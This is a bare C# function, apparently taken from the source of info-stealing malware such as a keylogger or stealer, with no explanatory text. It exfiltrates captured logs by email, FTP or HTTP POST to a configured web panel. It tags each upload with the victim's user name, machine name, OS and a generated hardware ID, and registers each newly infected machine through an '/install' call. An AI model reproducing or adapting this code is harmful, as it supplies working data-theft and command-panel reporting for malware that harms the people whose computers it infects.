public static bool Upload(string title, string data, string type) { try { if (Config.UPLOAD_METHOD.Equals("EMAIL")) { MailMessage mail = new MailMessage(); SmtpClient SmtpServer = new SmtpClient(Config.EMAIL_SERVER); mail.From = new MailAddress(Config.EMAIL_USERNAME); mail.To.Add(Config.EMAIL_USERNAME); mail.Subject = title + " - " + Environment.UserName + "\\" + Environment.MachineName; mail.Body = data; SmtpServer.Port = Convert.ToInt32(Config.EMAIL_PORT); SmtpServer.Credentials = new System.Net.NetworkCredential(Config.EMAIL_USERNAME, Config.EMAIL_PASSWORD); SmtpServer.EnableSsl = !string.IsNullOrEmpty(Config.EMAIL_SSL); SmtpServer.Send(mail); } else if (Config.UPLOAD_METHOD.Equals("FTP")) { byte[] bytes = System.Text.ASCIIEncoding.ASCII.GetBytes((data)); FtpWebRequest request = (FtpWebRequest)WebRequest.Create(Config.FTP_SERVER + "/" + title.Replace(" ", "_") + "-" + Environment.UserName + "_" + Environment.MachineName + DateTime.Now.ToString("yyyyMMddHHmmssffff") + ".txt"); request.Method = WebRequestMethods.Ftp.UploadFile; request.Credentials = new NetworkCredential(Config.FTP_USERNAME, Config.FTP_PASSWORD); request.ContentLength = bytes.Length; Stream requestStream = request.GetRequestStream(); requestStream.Write(bytes, 0, bytes.Length); requestStream.Close(); FtpWebResponse response = (FtpWebResponse)request.GetResponse(); Console.WriteLine("Upload File Complete, status {0}", response.StatusDescription); } else if (Config.UPLOAD_METHOD.Equals("PHP")) { if (!type.Equals("4")) { using (WebClient client = new WebClient()) { byte[] response = client.UploadValues(Config.WEBPANEL + "/insert", new NameValueCollection() { { "key", Config.PHP_KEY }, { "type", type }, { "pcname", ComputerInformation.GetName() }, { "log", data }, { "hwid", GenerateHWID() } }); } } else { using (WebClient client = new WebClient()) { byte[] response = client.UploadValues(Config.WEBPANEL + "/install", new NameValueCollection() { { "key", Config.PHP_KEY }, { "os", ComputerInformation.GetOS() }, //We use args for something else because php accepts diff parameters for installing { "pcname", ComputerInformation.GetName() }, { "hwid", GenerateHWID() } }); } } } return(true); } catch (Exception ex) { Config.DumpErrorLog(ex, null); } return(false); }